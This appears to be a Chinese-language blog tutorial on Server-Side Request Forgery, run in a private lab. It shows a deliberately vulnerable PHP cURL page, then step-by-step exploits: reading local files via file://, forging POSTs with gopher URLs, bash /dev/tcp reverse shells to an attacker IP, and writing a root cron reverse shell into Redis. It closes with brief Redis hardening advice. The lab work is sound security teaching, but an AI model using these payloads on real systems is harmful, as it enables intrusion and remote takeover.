SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

上面的话说的有点抽象,然后说一下网上大佬的理解

首先,我们要对目标网站的架构了解,脑子了要有一个架构图。比如 : A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站。

所以,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以同过a网站做中间人,访问b网站,从而达到攻击b网站需求。

普及了一下知识ssrf的知识那接下来我们就开始做实验了!!

实验环境

存在SSRF漏洞的靶机:192.168.220.143

被攻击的内网系统A:192.168.220.139 (web服务器)

SSRF漏洞存在于页面:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php,代码如下:

<?php// 创建一个新cURL资源$ch = curl_init();// 设置URL和相应的选项curl_setopt($ch, CURLOPT_URL, $_GET[‘url’]);curl_setopt($ch, CURLOPT_HEADER, false);// 抓取URL并把它传递给浏览器curl_exec($ch);//关闭cURL资源,并且释放系统资源curl_close($ch);?>

可能出现SSRF的函数:file_get_contents()、curl()、fsocksopen()、fopen()等。

2|1【利用1】 通过file协议读取文件

访问:http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=file:///C:/WINDOWS/win.ini ,成功读取文件

2|2【利用2】通过gopher协议对内网系统进行POST攻击

简要介绍:gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。

假设存在一内网系统(http://192.168.220.139/test/ssrf/post.php),其支持POST请求,代码如下:

<html><head> <title>post</title></head><body> <?php echo $_REQUEST[cmd]; ?></body></html>

①通过【curl命令】和【gopher协议】伪造post请求

curl -v ‘gopher://192.168.220.139:80/_POST%20%2ftest%2fssrf%2fpost.php%20HTTP/1.1%0D%0AHost:%20192.168.220.139%0D%0AUser-Agent:%20curl/7.42.0%0D%0AAccept:%20*/*%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Acmd=aaaaaaaa’

科来网络分析工具抓包:

再查看192.168.220.139的系统日志会发现,多了一条来自192.168.220.142的POST请求记录

②通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程伪造post请求

通过SSRF漏洞同样可以利用gopher协议对内网系统进行POST请求,不过首先需要查看下【phpinfo】,确认curl是enabled,并且需要确认下当前的curl版本是否支持gopher协议。

开始用的7.21.0,就没有复现成功,这里是个坑- -!如果curl版本太低,调高phpstudy里的php版本就可以惹^^

注意:这里的回车换行要二次编码:%0D%0A –>%250d%250a

curl -v ‘http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.139:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb’

再去查看192.168.220.139的系统日志会发现,多了一条来自192.168.220.143的POST请求记录。通过抓包可以看到,实际上,192.168.220.143确实向192.168.220.139发送了一个POST请求,在这里143其实充当了跳板机的角色。

攻击过程如下:

③通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程伪造post请求反弹shell

##补充知识1

靶机: bash -i >& /dev/tcp/192.168.220.140/2333 0>&1

攻击者:nc -lvvp 2333

回到SSRF漏洞,利用如下,同样可以反弹shell:

curl -v ‘http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.139:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261′

④通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程攻击内网redis

##补充知识2

①docker端口映射

docker run -d -p 6379:6379 ssrf_redis  #将docker的6379端口映射到宿主机的6379端口

docker ps   #查看端口映射情况

②攻击redis的exp:

此种方法能攻击成功的前提条件是:redis是以root权限运行的,通过【ps -aux | grep redis】查看redis服务权限,如果不是以root权限运行,就会出现【Permission denied】的报错。

redis-cli -h 192.168.220.142 -p 6379set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.220.140/9999 0>&1\n\n”config set dir /var/spool/cronconfig set dbfilename rootsave

回到上面说的通过SSRF漏洞结合gopher协议攻击内网redis,可以构造如下命令,即可反弹shell:

curl -v ‘http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.142:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a’

③redis安全策略

1. 开启protected-mode保护模式,配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379

2. 配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中

3. 禁止使用root运行redis。


0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注